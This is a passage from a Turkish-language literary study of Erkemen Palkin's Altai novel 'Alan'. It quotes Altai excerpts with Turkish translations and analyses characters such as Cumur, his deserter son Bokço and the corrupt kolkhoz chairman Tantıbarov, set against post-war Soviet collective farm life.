solun kuu\u00e7\u0131ndard\u0131 Ek\u00e7ebey aydatan, ol kand\u0131y da cilb\u00fcl\u00fc edip kuu\u00e7\u0131ndaytan. Cetkerl\u00fc kerekterdi k\u00f6p biler, c\u00fcrgen c\u00fcr\u00fcmi kand\u0131y da koyu nemediy bildireten. \u00c7\u0131n\u0131n\u00e7a k\u00f6r\u00f6r bolzo, Ek\u00e7ebey Alanna\u00f1 k\u00f6g\u00fcst\u00fc de, k\u00f6p biler de. Ne-nemeni t\u00fcrgen aaylap, cartap iyer. Aytsa ayd\u0131p ta iyer, edip te iyer. But baj\u0131na turup keler bolzo, kand\u0131y da cara\u015f k\u00f6r\u00fcner. S\u0131n\u0131 uzun, card\u0131 calbak; koyu celber kaba\u011f\u0131n cemire k\u00f6r\u00fcp algan turar. Katu \u00e7a\u00e7\u0131, an\u00e7adala, caa\u015fka \u00f6ts\u00f6, \u00e7ek at\u0131ray\u0131j\u0131p kalar<\/em> (91).<\/p>\n\n\n\n Ek\u00e7ebey, bazen ilgin\u00e7 hik\u00e2yeler anlat\u0131rd\u0131, anlatt\u0131\u011f\u0131 hik\u00e2yeleri de ilgi \u00e7ekici h\u00e2le getirirdi. A\u011f\u0131r tecr\u00fcbelerden ge\u00e7mi\u015f hissi uyand\u0131ran korkun\u00e7, tehlikeli olanlar\u0131 \u00e7ok daha iyi bilirdi. Ger\u00e7e\u011fi s\u00f6ylemek gerekirse, Ek\u00e7ebey Alan\u2019dan hem daha bilgeydi hem daha \u00e7ok \u015fey biliyordu. Her \u015feyi \u00e7abucak anlar ve a\u00e7\u0131klard\u0131. Konu\u015fursa iyi konu\u015fur, yaparsa iyi yapard\u0131. Aya\u011fa kalkt\u0131\u011f\u0131nda \u00e7ok boylu poslu ve yak\u0131\u015f\u0131kl\u0131 g\u00f6r\u00fcn\u00fcrd\u00fc. Uzun boylu, geni\u015f omuzlu; kal\u0131n ka\u015flar\u0131n\u0131 \u00e7at\u0131p bakard\u0131. S\u0131k, g\u00fcr sa\u00e7lar\u0131 da \u00f6yle, ya\u011fmur ya\u011fsa dikle\u015firdi.<\/p>\n\n\n\n Romandaki bir ba\u015fka g\u00fc\u00e7l\u00fc insan tipi, ya\u015fl\u0131 \u00e7oban Cumur Artukov\u2019dur. Gururlu ve kimseye ba\u015f e\u011fmeyen biridir. Kararl\u0131 karakteri ve iradesiyle taygaya kendisine yard\u0131mc\u0131 olarak g\u00f6nderilen Alan\u2019\u0131 etkilemi\u015ftir. Hen\u00fcz gen\u00e7ken suku\u015fu av\u0131nda g\u00f6z\u00fcne giren sa\u00e7may\u0131 eliyle \u00e7\u0131karm\u0131\u015f, yine bir g\u00fcn s\u0131caktan bunald\u0131\u011f\u0131 i\u00e7in ayakkab\u0131lar\u0131n\u0131 \u00e7\u0131karm\u0131\u015f, \u00e7\u0131plak ayaklar\u0131yla ot bi\u00e7erken y\u0131lan sokan ayak ba\u015fparma\u011f\u0131n\u0131n etini kesip bir ta\u015f\u0131n \u00fcst\u00fcne b\u0131rakm\u0131\u015f ve yaral\u0131 aya\u011f\u0131n\u0131 kendisi sarm\u0131\u015ft\u0131. B\u00f6ylece halk\u0131n g\u00f6z\u00fcnde cesur ve d\u00fcr\u00fcst biri olarak tan\u0131na gelmi\u015ftir. O\u011flu Bok\u00e7o ise babas\u0131n\u0131n z\u0131tt\u0131d\u0131r; askerden ka\u00e7m\u0131\u015f, da\u011flarda gezmektedir. Bok\u00e7o vas\u0131tas\u0131yla da yazar, asker ka\u00e7aklar\u0131n\u0131n durumunu i\u015fler[4<\/a>] :<\/p>\n\n\n\n Cuu \u00f6yinde Altay cerinde ka\u00e7k\u0131ndar tab\u0131la bergen. Kolhoz\u00e7\u0131lard\u0131\u00f1 attar\u0131n, taygada ulust\u0131\u00f1 koylor\u0131n, uylar\u0131n uurdag\u0131lap turatan. Ol tu\u015fta ar\u0131-beri de c\u00fcrerde korku\u015ftu bolgon, ulus ca\u00f1\u0131skan c\u00fcrerine\u00f1 kork\u0131g\u0131lap turatan. Cumur ca\u00f1\u0131s uul\u0131m \u00e7er\u00fcde\u00f1 ka\u00e7k\u0131n bolup keler dep, bir de bodobogon<\/em> (153).<\/p>\n\n\n\n Sava\u015f zaman\u0131nda Altay\u2019da ka\u00e7k\u0131nlar ortaya \u00e7\u0131kt\u0131. Kolhozcular\u0131n atlar\u0131n\u0131, taygadaki insanlar\u0131n koyunlar\u0131n\u0131, ineklerini \u00e7ald\u0131lar. O zamanlar bir yerden ba\u015fka bir yere gitmek tehlikeliydi, insanlar yaln\u0131z yola \u00e7\u0131kmaya da korkuyorlard\u0131. Cumur, tek o\u011flunun askerden ka\u00e7\u0131p gelece\u011fini akl\u0131na bile getirmiyordu.<\/p>\n\n\n\n Cumur, sava\u015fa kat\u0131lmamak i\u00e7in ka\u00e7k\u0131n durumuna d\u00fc\u015fm\u00fc\u015f o\u011flunu yakalay\u0131p elini aya\u011f\u0131n\u0131 ba\u011flayarak getirip polise teslim eder (154-155). Bu y\u00f6n\u00fcyle o, yazar taraf\u0131ndan Alan\u2019la birlikte idealize edilmi\u015f ikinci bir tip olarak kar\u015f\u0131m\u0131za \u00e7\u0131kar. Cumur\u2019un asker ka\u00e7a\u011f\u0131 o\u011flu kar\u015f\u0131s\u0131nda halk\u0131n \u00e7eli\u015fkili tavr\u0131 da ele al\u0131n\u0131r. Bok\u00e7o\u2019nun asker ka\u00e7a\u011f\u0131 oldu\u011fu duyulunca halk ilk olarak Cumur\u2019u su\u00e7lar:<\/p>\n\n\n\n Bir kan\u00e7a \u00f6ydi\u00f1 baj\u0131nda catkan curt Bok\u00e7o ka\u00e7\u0131p kelgen, ulus k\u00f6rg\u00f6n dep ayd\u0131ja bergen. Bu on\u00e7oz\u0131 Cumurd\u0131\u00f1 ijin, c\u00fcr\u00fcmin tam la uurlatkan.<\/em><\/p>\n\n\n\n – Adaz\u0131 taygada, caantay\u0131n colug\u0131j\u0131p turatan bolbays\u0131n \u2013 dep ayd\u0131jatan.<\/p>\n\n\n\n – Sen \u2013 banditti\u00f1 adaz\u0131! \u2013 dep, Tant\u0131barov eki katap katu kezetken.<\/p>\n\n\n\n Ce e\u00f1 le k\u00fc\u00e7i ulust\u0131\u00f1 kuu\u00e7\u0131n\u0131 bolgon. \u2013 Kijini\u00f1 balaz\u0131 cuun\u0131\u00f1-\u00e7akt\u0131\u00f1 cerine bar\u0131p, kara kan\u0131n t\u00f6g\u00fcp cat. Emdi ka\u00e7k\u0131n nemelerge le m\u00f6r bolgon turu, bala-barkan\u0131\u00f1 mal\u0131n soy\u0131p, et-cuuga kay\u0131g\u0131p \u00e7atk\u0131lar\u2026<\/em> (154).<\/p>\n\n\n\n Belli bir zaman ge\u00e7tikten sonra k\u00f6y halk\u0131 Bok\u00e7o\u2019nun ka\u00e7\u0131p geldi\u011fi s\u00f6ylentileri hakk\u0131nda konu\u015fmaya ba\u015flad\u0131. Bu durum, Cumur\u2019un i\u015fini de, hayat\u0131n\u0131 da zorla\u015ft\u0131rd\u0131.<\/p>\n\n\n\n – Babas\u0131 taygada, her zaman kar\u015f\u0131la\u015f\u0131yorlard\u0131r, diye konu\u015fuluyordu.<\/p>\n\n\n\n – Sen, e\u015fk\u0131yan\u0131n babas\u0131! diye Tant\u0131barov da iki defa azarlam\u0131\u015ft\u0131.<\/p>\n\n\n\n Fakat en a\u011f\u0131r\u0131, halk aras\u0131nda konu\u015fulanlard\u0131: \u0130nsanlar\u0131n \u00e7ocuklar\u0131 sava\u015fa, cepheye gidip kan\u0131n\u0131 d\u00f6k\u00fcyor. \u015eimdi ka\u00e7k\u0131nlara g\u00fcn do\u011fdu, \u00e7oluk \u00e7ocu\u011fun nasibi hayvanlar\u0131 kesip, et ve ya\u011f i\u00e7inde keyif \u00e7at\u0131yorlar\u2026<\/p>\n\n\n\n Bunlara dayanamayan Cumur, asker ka\u00e7a\u011f\u0131 o\u011flunu yakalay\u0131p kendi elleriyle polise teslim edince halk bu sefer yine onu su\u00e7lar:<\/p>\n\n\n\n Ca\u00f1\u0131s uul\u0131n t\u00fcrmege iyip turar kand\u0131y kiji bu? Boy\u0131n\u0131\u00f1 la t\u0131n\u0131n kor\u0131p alarga, balaz\u0131n da karamdabaytan turu ne! \u0130-ta-tay, kand\u0131y kara sanaalu kiji! \u2013 dep, Cumurd\u0131 caman k\u00f6rgileer bolgon<\/em> (155).<\/p>\n\n\n\n Ne bi\u00e7im insan bu? Tek o\u011flunu hapishaneye g\u00f6nderiyor. Kendi can\u0131n\u0131 korumak i\u00e7in \u00e7ocu\u011funu hi\u00e7 ediyor. Hay lanet, ne kadar k\u00f6t\u00fc d\u00fc\u015f\u00fcnceli insan, diye Cumur\u2019u k\u00f6t\u00fcleyip durdular.<\/p>\n\n\n\n Erkemen Palkin, halk\u0131n ikiy\u00fczl\u00fcl\u00fc\u011f\u00fcn\u00fc yukar\u0131da oldu\u011fu gibi do\u011frudan olmasa da dolayl\u0131 \u015fekilde roman\u0131nda birka\u00e7 kez daha i\u015fler. Kolhoz ba\u015fkan\u0131 Tant\u0131barov, konumunu kullanarak e\u015fleri cephede olan kad\u0131nlar\u0131 kendisiyle birlikte olmaya zorlar. \u0130htiyar Arta\u015f, y\u00fcz\u00fcne kar\u015f\u0131 su\u00e7lar\u0131n\u0131 hayk\u0131r\u0131r ve bir g\u00fcn hesap verece\u011fini s\u00f6yler. Arta\u015f\u2019\u0131n s\u00f6zleri kolhozda ya\u015fayan bir\u00e7ok insan\u0131n ho\u015funa gitse de onlar, Tant\u0131barov ile y\u00fczy\u00fcze gelince ona yalakal\u0131k yapmaya devam ederler:<\/p>\n\n\n\n Arta\u015ft\u0131\u00f1 m\u0131nd\u0131y s\u00f6st\u00f6ri ugup, k\u00f6p ulus s\u00fc\u00fcngen de o\u015fko\u015f. Boylor\u0131 Tant\u0131baraovt\u0131\u00f1 k\u00f6zine aydar\u0131na\u00f1 caltan\u0131p, \u201c\u0130van Zaharovi\u00e7, \u0130van Sahar\u0131\u00e7\u201d dejip, baj\u0131na \u00e7\u0131gar\u0131p algan da<\/em> (31).<\/p>\n\n\n\n Arta\u015f\u2019\u0131n bu s\u00f6zlerini duyan insanlar\u0131n \u00e7o\u011fu sevindi. Fakat kendileri Tant\u0131barov\u2019la y\u00fcz y\u00fcze gelince g\u00f6zlerine bak\u0131p, \u201c\u0130van Zahar\u0131\u00e7, \u0130van Sahar\u0131\u00e7\u201d deyip yaltaklanarak onu ba\u015f tac\u0131 yap\u0131yorlard\u0131.<\/p>\n\n\n\n Palkin\u2019in g\u00f6zlemcili\u011fi, ele\u015ftirel kimli\u011fini besleyerek sosyal tenkit\u00e7i y\u00f6n\u00fcn\u00fc g\u00fc\u00e7lendirmi\u015ftir: Ahlaki de\u011ferlerin yozla\u015fmas\u0131, kolhoz hayat\u0131, Ruslarla birlikte ya\u015faman\u0131n yaratt\u0131\u011f\u0131 uyum sorunlar\u0131, devlet otoritesinin zay\u0131fl\u0131\u011f\u0131ndan kaynaklanan y\u00f6netimsel zafiyet ve sorunlar\u0131, hayatta kalma m\u00fccadelesi vb. unsurlar birbirini tamamlayan bir yap\u0131da ve sosyal ele\u015ftiri \u00fcslubuyla i\u015flenmi\u015ftir. Fakat Palkin ele\u015ftirel \u00fcslubunda \u00f6l\u00e7\u00fcl\u00fcd\u00fcr. Sovyet edebiyat\u0131n\u0131n yazara y\u00fckledi\u011fi sorumluluklar\u0131n s\u0131n\u0131r\u0131n\u0131 a\u015fmak istemez, genellikle de\u011ferlendirme ve yorumlamadan uzak durur. Meseleyi tespit edip oldu\u011fu h\u00e2liyle okura sunar. Halk\u0131n Cumur\u2019a kar\u015f\u0131 tav\u0131rlar\u0131 o\u011flu ka\u00e7k\u0131nken ba\u015fka t\u00fcrl\u00fcyken, Cumur o\u011flunu polise teslim ettikten sonra ni\u00e7in ba\u015fkala\u015fm\u0131\u015ft\u0131r? Ayn\u0131 \u015fekilde halk ihtiyar Arta\u015f\u2019\u0131n, Tant\u0131barov\u2019un ahlaks\u0131zl\u0131klar\u0131n\u0131 y\u00fcz\u00fcne hayk\u0131rmas\u0131na sevinirken, Tant\u0131barov ile kar\u015f\u0131la\u015f\u0131nca ni\u00e7in ona yalakal\u0131ktan geri durmaz? Okur, romanda bu tav\u0131r farkl\u0131l\u0131klar\u0131n\u0131n, neden ve nas\u0131llar\u0131n cevab\u0131n\u0131 bulamaz.<\/p>\n\n\n\n Roman\u0131n dikkat \u00e7eken karakterlerinden bir di\u011feri, on dokuz ya\u015f\u0131ndaki Bag\u0131r Temdenov\u2019dur. \u00c7al\u0131\u015fkanl\u0131\u011f\u0131 sayesinde ya\u015f\u0131tlar\u0131na \u00f6rnek olur ve kolhoz i\u015f\u00e7ileri taraf\u0131ndan \u00e7ok sevilir. Babas\u0131 sava\u015fta \u00f6lm\u00fc\u015ft\u00fcr. Ya\u015fad\u0131\u011f\u0131 zor \u015fartlar, di\u011fer gen\u00e7ler gibi onun da erken olgunla\u015fmas\u0131na neden olmu\u015ftur. Yazar, Bag\u0131r\u2019\u0131 genel olarak olumlu \u00e7izmesine ra\u011fmen karakterindeki \u00e7eli\u015fkiler ve uyumsuzluklar dikkat \u00e7eker. Alan\u2019a kar\u015f\u0131 gizli d\u00fc\u015fmanl\u0131\u011f\u0131 anla\u015f\u0131lmaz. \u0130li\u015fkilerinde dengesizdir. B\u00fct\u00fcn bunlardan dolay\u0131 akranlar\u0131n\u0131n yakalad\u0131\u011f\u0131 ba\u015far\u0131lar\u0131n gerisinde kal\u0131r (Kata\u015f, 1994: 132-136). Elbette romandaki her tipi burada ele al\u0131p de\u011ferlendirmek m\u00fcmk\u00fcn de\u011fildir. Ancak denilebilir ki, romanda yer alan karakterlerin hepsinin ideolojik bak\u0131mdan i\u015flevleri vard\u0131r ve hepsi bir araya gelince roman\u0131n anlatt\u0131\u011f\u0131 zaman dilimi i\u00e7indeki Altay\u2019\u0131 sosyal, ekonomik ve ideolojik y\u00f6nleriyle tamamlarlar. Kolhozun imk\u00e2nlar\u0131n\u0131 kendisi i\u00e7in kullanan Tant\u0131barov, k\u00f6t\u00fc y\u00f6netici tipini; U\u00e7ural Ad\u0131cokov parti lideri ve adil bir y\u00f6netici olarak Tant\u0131barov imaj\u0131n\u0131n z\u0131dd\u0131n\u0131; cepheye gitmeden \u00f6nce kolhoz ba\u015fkanl\u0131\u011f\u0131 yapan Bayz\u0131n Azenov d\u00fcr\u00fcst, akl\u0131selim sahibi bir insan ve y\u00f6netici tipini temsil ederler. B\u00fct\u00fcn bu tipler ve karakterler yard\u0131m\u0131yla esas\u0131nda Kata\u015f\u2019\u0131n da vurgulad\u0131\u011f\u0131 gibi yazar, kendi i\u00e7 d\u00fcnyas\u0131n\u0131 ke\u015ffeder ve onu da inand\u0131r\u0131c\u0131 bir \u015fekilde okuyucuya sunar (Kata\u015f, 2004: 127-128). Palkin\u2019in roman\u0131 hakk\u0131ndaki g\u00f6r\u00fc\u015fleri de Kata\u015f\u2019\u0131 destekler niteliktedir:<\/p>\n\n\n\n Ben o zamanlar on, on bir ya\u015flar\u0131ndayd\u0131m. \u00c7ocuklu\u011fumdan beri g\u00f6r\u00fcp duyduklar\u0131m, y\u00fcre\u011fimde bir resim gibi birikti ve beni derin d\u00fc\u015f\u00fcnmelere sevk etti. Uzun y\u0131llar ge\u00e7tikten sonra bana Alan<\/em>\u2019\u0131 yazmak i\u00e7in -ilham kayna\u011f\u0131 olan- unutulmay\u0131p y\u00fcre\u011fimde kalan bu \u201cresimler\u201din say\u0131s\u0131 hi\u00e7 de az de\u011fildi. \u0130nsanlar\u0131n ya\u015fad\u0131klar\u0131n\u0131 b\u00fct\u00fcn y\u00f6nleriyle edeb\u00ee olarak ortaya koymak i\u00e7in ana kahraman\u0131n ad\u0131n\u0131 bizim k\u00f6yden sava\u015fa gidip de d\u00f6nemeyen bir ki\u015finin ad\u0131yla \u201cAlan\u201d olarak adland\u0131rd\u0131m (Palkin, 1997: 48).<\/p>\n\n\n\n Palkin, romanda anlatt\u0131\u011f\u0131 baz\u0131 olaylar\u0131 da k\u00f6y\u00fcnden sava\u015fa kat\u0131lm\u0131\u015f insanlardan dinledi\u011fini ifade eder. Bunlar ya\u015fanm\u0131\u015f, ger\u00e7ek olaylard\u0131r. Bu durumu da \u015f\u00f6yle dile getirir:<\/p>\n\n\n\n Alan<\/em>\u2019da \u015f\u00f6yle bir b\u00f6l\u00fcm var: Gizlenmi\u015f d\u00fc\u015fmanlar olabilir diye Sovyet askerleri her evi, her bir k\u00f6\u015feyi aray\u0131p tarar, inceler. Alan, y\u00fcksek bir binan\u0131n \u00fcst katlar\u0131ndan birine \u00e7\u0131kar. Altayca t\u00fcrk\u00fcler m\u0131r\u0131ldanarak odalar\u0131 kontrol ederken bir dolab\u0131 a\u00e7\u0131nca dolab\u0131n i\u00e7inden uzun boylu, iri yar\u0131 bir Alman askeri \u00e7\u0131kar!.. Arkada\u015flar\u0131 yeti\u015fmemi\u015f olsa, Alan canl\u0131 kalmazd\u0131\u2026 B\u00f6yle bir sava\u015f sahnesini ben o zaman k\u00f6y\u00fcm\u00fczdeki Te\u00e7inov Bayz\u0131\u00f1\u2019dan dinlemi\u015ftim (Palkin, 1997: 48).<\/p>\n\n\n\n Palkin\u2019in eserini bu denli ger\u00e7ek\u00e7i bir \u015fekilde yazmas\u0131n\u0131n en \u00f6nemli sebeplerinden biri romandaki vaka zaman\u0131n\u0131n (1945-1956) yazar\u0131n 11-22 ya\u015flar\u0131n\u0131 kapsamas\u0131d\u0131r. Esas\u0131nda yazar, yapt\u0131\u011f\u0131 g\u00f6zlemlerle bu ya\u015flar\u0131 aral\u0131\u011f\u0131ndaki toplumu ve bu toplumda ya\u015fananlar\u0131 neredeyse b\u00fct\u00fcn y\u00f6nleriyle roman\u0131na aktarmay\u0131 ba\u015farm\u0131\u015ft\u0131r. \u201cRoman\u0131n kahraman\u0131 olan Alan kimdir?\u201d sorusunun cevab\u0131n\u0131 da Palkin hakk\u0131nda detayl\u0131 bir yaz\u0131 yazm\u0131\u015f olan Kata\u015f verir:<\/p>\n\n\n\n Kolhozda s\u0131\u011f\u0131r yeti\u015ftiricisi olarak \u00e7al\u0131\u015fan bir baban\u0131n o\u011flu. B\u00fcy\u00fck Vatanseverlik Sava\u015f\u0131\u2019n\u0131n ilk g\u00fcnlerinde Anavatan savunucular\u0131n\u0131n saflar\u0131na al\u0131nan babas\u0131 Toktubay, 1943\u2019te sava\u015f\u0131n en \u015fiddetli zamanlar\u0131n\u0131n birinde Naziler taraf\u0131ndan \u00f6ld\u00fcr\u00fcl\u00fcr. Hen\u00fcz sakal\u0131 \u00e7\u0131kmam\u0131\u015f bir gen\u00e7 olan Alan, okuldan do\u011fruca cepheye gider. Sava\u015f, bu gen\u00e7 adam\u0131 sertle\u015ftirir. Cepheden cepheye binlerce kilometre yol y\u00fcr\u00fcr, Avrupa \u00fclkelerini g\u00f6r\u00fcr. Berlin\u2019de B\u00fcy\u00fck Zafer ile tan\u0131\u015f\u0131r. Ve \u015fimdi yaral\u0131 bir gazi, ger\u00e7ek bir erkek, h\u0131rpalanm\u0131\u015f bir asker olarak do\u011fdu\u011fu da\u011flara d\u00f6ner (Kata\u015f, 2004: 129).<\/p>\n\n\n\n Alan k\u00f6y\u00fcne d\u00f6n\u00fcnce ve 1945 y\u0131l\u0131n\u0131n may\u0131s ay\u0131nda sava\u015f\u0131n bitti\u011fi haberi k\u00f6ye ula\u015f\u0131nca k\u00f6yl\u00fcler, mitlerde ve efsanelerde anlat\u0131lanlarla sava\u015f\u0131 ve biti\u015fini yorumlar. Onlara g\u00f6re art\u0131k b\u00fcy\u00fck sava\u015f bitmi\u015ftir. Yeni ve huzurlu bir hayat ba\u015flayacakt\u0131r. Bu arada Alan\u2019\u0131n ablas\u0131 Calaa\u2019n\u0131n ge\u00e7mi\u015fi hat\u0131rlamas\u0131, sava\u015f\u0131n ba\u015flad\u0131\u011f\u0131n\u0131n nas\u0131l duyuldu\u011fu ve sonras\u0131nda nelerin ya\u015fand\u0131\u011f\u0131 ge\u00e7mi\u015fe d\u00f6n\u00fclerek anlat\u0131l\u0131r. Haziran ay\u0131 sonras\u0131na kadar Alan, k\u00f6ydeki hayat\u0131na kendi h\u00e2linde devam eder. De\u011fi\u015fiklikleri g\u00f6zlemler ve yeni hayata uyum sa\u011flamaya \u00e7al\u0131\u015f\u0131r. Yazar, Alan\u2019\u0131n \u00fczerinden d\u00f6nemin tipik sorunlar\u0131n\u0131 ve \u00e7at\u0131\u015fmalar\u0131 i\u015fler. Y\u00f6neticiler, kocalar\u0131 sava\u015fa giden kad\u0131nlara musallat olmaya ba\u015flam\u0131\u015f, iyi i\u015fleri yak\u0131nlar\u0131na ve tan\u0131d\u0131klar\u0131na vermi\u015flerdir. Huzursuzluk had safhada olsa da, insanlar sava\u015f zaman\u0131nda korkudan seslerini \u00e7\u0131karamaz durumdad\u0131rlar. Bu y\u00f6neticilerin tipik \u00f6rne\u011fi kolhozun ba\u015fkan\u0131 Tant\u0131barov\u2019dur. O, d\u00fcr\u00fcst olmayan bir idarecidir ve kolhozu iyi y\u00f6netemez, zarara u\u011frat\u0131r. \u00c7iftli\u011fi ki\u015fisel m\u00fclk\u00fc gibi kullan\u0131r, gizlice hayvan kestirip etlerini satar. SSCB ve kolektif \u00e7iftlik sistemi hayat\u0131 kolayla\u015ft\u0131rma ve m\u00fcreffeh k\u0131lma amac\u0131na sahipmi\u015f gibi g\u00f6r\u00fcnse de Tant\u0131barov gibi bir\u00e7ok y\u00f6neticinin niyeti bu de\u011fildir. Onun yapt\u0131klar\u0131n\u0131n fark\u0131nda olan Alan, Tant\u0131barov ile m\u00fccadele ederek, halk mahkemesinde yarg\u0131lanmas\u0131n\u0131 ve alt\u0131 y\u0131l hapis cezas\u0131na \u00e7arpt\u0131r\u0131lmas\u0131n\u0131 sa\u011flar. K\u00f6t\u00fcl\u00fck, yapan\u0131n cezaland\u0131r\u0131lmas\u0131yla ya da etkisiz h\u00e2le getirilmesiyle sonlan\u0131r. E\u011fer Tant\u0131barov ceza almam\u0131\u015f olsayd\u0131 (yani Alan ve toplum i\u00e7in kal\u0131c\u0131 bir tehdit olmaya devam etseydi) Alan ve K\u0131z\u0131l \u00c7olmon kolhozu sonunda hak ettikleri yere gelmemi\u015f ve toplum kendine olan g\u00fcveni tazelememi\u015f olacakt\u0131.<\/p>\n\n\n\n Romanda Tant\u0131barov\u2019un kar\u015f\u0131t tipi U\u00e7ural Ad\u0131cokov\u2019dur. U\u00e7ural, bir\u00e7ok a\u00e7\u0131dan Alan\u2019\u0131n tamamlay\u0131c\u0131s\u0131 ya da e\u015f tipi olarak kar\u015f\u0131m\u0131za \u00e7\u0131kar. O, belli bir ya\u015fam tecr\u00fcbesine sahip, olaylar\u0131 iyi kavrayabilen ve do\u011fru bir \u015fekilde de\u011ferlendirebilen duyarl\u0131 bir ki\u015fidir. Siyasi bir lider olarak (K\u0131z\u0131l \u00c7olmon kolhozunun parti organizat\u00f6r\u00fc) kolhoz \u00e7al\u0131\u015fanlar\u0131n\u0131n g\u00fcvenini kazanm\u0131\u015ft\u0131r. Yazar, U\u00e7ural\u2019\u0131n \u015fahs\u0131nda idealist bir kom\u00fcnist yaratm\u0131\u015ft\u0131r. Sovyet edebiyat\u0131nda U\u00e7ural gibi idealist kom\u00fcnistler hakk\u0131nda Kata\u015f \u015fu de\u011ferlendirmeyi yapar: \u201cBaz\u0131 edebiyat ele\u015ftirmenleri taraf\u0131ndan Sovyet yazarlar\u0131n\u0131n eserlerinde kom\u00fcnistlerin rol\u00fc her ne kadar yanl\u0131\u015f yorumlanm\u0131\u015f olsa da zaman ve hayat onlar\u0131 haks\u0131z \u00e7\u0131karm\u0131\u015ft\u0131r; kom\u00fcnistlerin kat\u0131l\u0131m\u0131 olmasayd\u0131, sava\u015f sonras\u0131 d\u00f6nemde ve daha sonraki y\u0131llarda harap olmu\u015f ekonomi bu kadar \u00e7abuk d\u00fczelemezdi\u201d (Kata\u015f, 1994: 131). Nitekim Tant\u0131barov y\u00f6netiminde iflas\u0131n e\u015fi\u011fine gelmi\u015f olan K\u0131z\u0131l \u00c7olmon kolhozunun ekonomisi, U\u00e7ural\u2019\u0131n kolhoz ba\u015fkan\u0131 se\u00e7ilmesiyle birlikte \u00f6nemli \u00f6l\u00e7\u00fcde iyile\u015fir.<\/p>\n\n\n\n Sava\u015f bir\u00e7o\u011funun evini, yuvas\u0131n\u0131 da\u011f\u0131tm\u0131\u015f, gen\u00e7lerin hayatlar\u0131n\u0131 ve hayallerini y\u0131km\u0131\u015ft\u0131r. Alan, s\u0131k s\u0131k eski d\u00f6nemi ve hayat\u0131 yenisiyle mukayese eder. Eski ve yeni hayat aras\u0131ndaki kar\u015f\u0131la\u015ft\u0131rma ise daha \u00e7ok k\u00f6y\u00fcn ya\u015fl\u0131lar\u0131ndan Emdik-Sodon \u00fczerinden yap\u0131l\u0131r:<\/p>\n\n\n\n Ki\u00e7inek tuj\u0131nda baza sa\u00f1 ba\u015fka c\u00fcr\u00fcm bolgon. Caantay\u0131n ay\u0131ldard\u0131\u00f1 ton edeten terelerin sarsula cunup, t\u0131rmap cadatam. Koldor\u0131m ne aaylu a\u00e7\u0131jatan edi. Ol lo tu\u015fta eki tizeme \u00e7\u0131k \u00f6tk\u00f6n o\u015fko\u015f. Er kemine cetken kiyninde ay\u0131ldarga od\u0131n tart\u0131p la, ulust\u0131\u00f1 sogum\u0131n soyup la, uluska tere tuptap la c\u00fcretem. Sovyet ca\u00f1 kelip, \u00f6m\u00f6lik t\u00f6z\u00f6p bererde, k\u0131ra s\u00fcr\u00fcp, koy-mal ba\u015fkar\u0131j\u0131p i\u015ftegem. Odus togus-t\u00f6rt\u00f6n c\u0131ldarda c\u00fcr\u00fcm dep neme \u00e7ek carana bergen edi. Emdi bu cuu-\u00e7akka tabart\u0131p, oyto lo a\u00e7analu toro c\u00fcr\u00fcmge tu\u015ftagan\u0131s bu turu. Eki-\u00fc\u00e7 c\u0131ld\u0131\u00f1 turkun\u0131na albat\u0131 baza \u015f\u0131ralad\u0131 la. Emdi de s\u00fcrekey k\u00fc\u00e7. Oyto ka\u00e7an orn\u0131g\u0131p, \u00f6\u00f1jigeten c\u00fcr\u00fcm bolboy bu?<\/em> (63).<\/p>\n\n\n\n \u00c7ocukken bamba\u015fka bir hayat vard\u0131. Her zaman evlerin palto yap\u0131lacak derilerini ila\u00e7l\u0131 suyla y\u0131kay\u0131p t\u0131rnaklar\u0131mla kaz\u0131rd\u0131m. Ellerim ne kadar da a\u011fr\u0131rd\u0131. O zamanlar iki dizime de nem i\u015flemi\u015f olmal\u0131. Delikanl\u0131 \u00e7a\u011f\u0131ma girince evlere odun ta\u015f\u0131y\u0131p, insanlar\u0131n kesimlik hayvanlar\u0131n\u0131 kesip, derilerini i\u015fledim. Sovyet iktidar\u0131 gelip kolektivizm kuruldu\u011funda, tarla s\u00fcr\u00fcp hayvan otlatt\u0131m. Otuz ve k\u0131rk y\u0131llar\u0131nda hayat denen \u015fey \u00e7ok iyile\u015fmi\u015fti. \u015eimdi bu zor sava\u015f y\u0131llar\u0131nda tekrar yokluk zamanlar\u0131na d\u00f6nd\u00fck. \u0130ki \u00fc\u00e7 y\u0131l boyunca halk \u00e7ok eziyet \u00e7ekti. \u015eimdi her \u015fey \u00e7ok zor. Tekrar ne zaman d\u00fczeliriz, iyi bir hayat olur mu?<\/p>\n\n\n\n Her \u015feye ra\u011fmen insanlar art\u0131k daha \u00fcmitli ve daha \u00e7al\u0131\u015fkand\u0131r. Yeni bir ideal ve yeni bir umut vard\u0131r: Her \u015fey, b\u00fct\u00fcn \u00e7al\u0131\u015fma ve \u00fcretim, alt\u0131nda bir araya gelinecek k\u0131z\u0131l maan\u0131<\/em> (k\u0131z\u0131l bayrak) i\u00e7indir. K\u0131z\u0131l Maan\u0131<\/em> ayn\u0131 zamanda d\u00fcnya kom\u00fcnizm birli\u011finin de sembol\u00fcd\u00fcr:<\/p>\n\n\n\n N\u00f6k\u00f6rl\u00f6r, ald\u0131nda bisti\u00f1 oroon ca\u00f1\u0131skan bolgon. Emdi bu k\u00fcnderde sler gazetterden k\u00f6p solundar k\u0131\u00e7\u0131r\u0131p cadaar. Sotsialist\u00e7eskiy ca\u00f1\u0131 gosudarstvolor t\u00f6z\u00f6lip cat. Olor bisti\u00f1 n\u00f6k\u00f6ris bolor. Ol oroondordo emdi kommmunisti\u00e7eskiy partiyalar ca\u00f1d\u0131 kol\u0131na al\u0131p, albat\u0131lar\u0131n ca\u00f1\u0131 c\u00fcr\u00fcmge ba\u015ftap cat. Aydarda, olordo do, biste de i\u015f s\u00fcrekey k\u00f6p<\/em> (82).<\/p>\n\n\n\n Arkada\u015flar, \u00f6nceden bizim \u00fclkemiz tekti. \u015eimdi bu g\u00fcnlerde sizler gazetelerden \u00e7ok haberler okuyorsunuz. Yeni sosyalist \u00fclkeler kuruluyor. Onlar bizim dostumuzdur. O \u00fclkelerde \u015fimdi kom\u00fcnist partiler iktidar\u0131 ele ge\u00e7irip, halklar\u0131n\u0131 yeni ya\u015fam tarzlar\u0131na y\u00f6neltiyor. B\u00f6yle olunca, onlar\u0131n da, bizim de i\u015fimiz \u00e7ok.<\/p>\n\n\n\n Hen\u00fcz teknolojinin en alt \u00fcretimleriyle bile tan\u0131\u015fmam\u0131\u015f, Altay Da\u011flar\u0131\u2019n\u0131n d\u0131\u015f\u0131ndaki hayatla tek ba\u011flar\u0131 gazete ve radyo olan Altayl\u0131lar\u0131n kom\u00fcnizmin evrensel yanlar\u0131na olan ilgileri 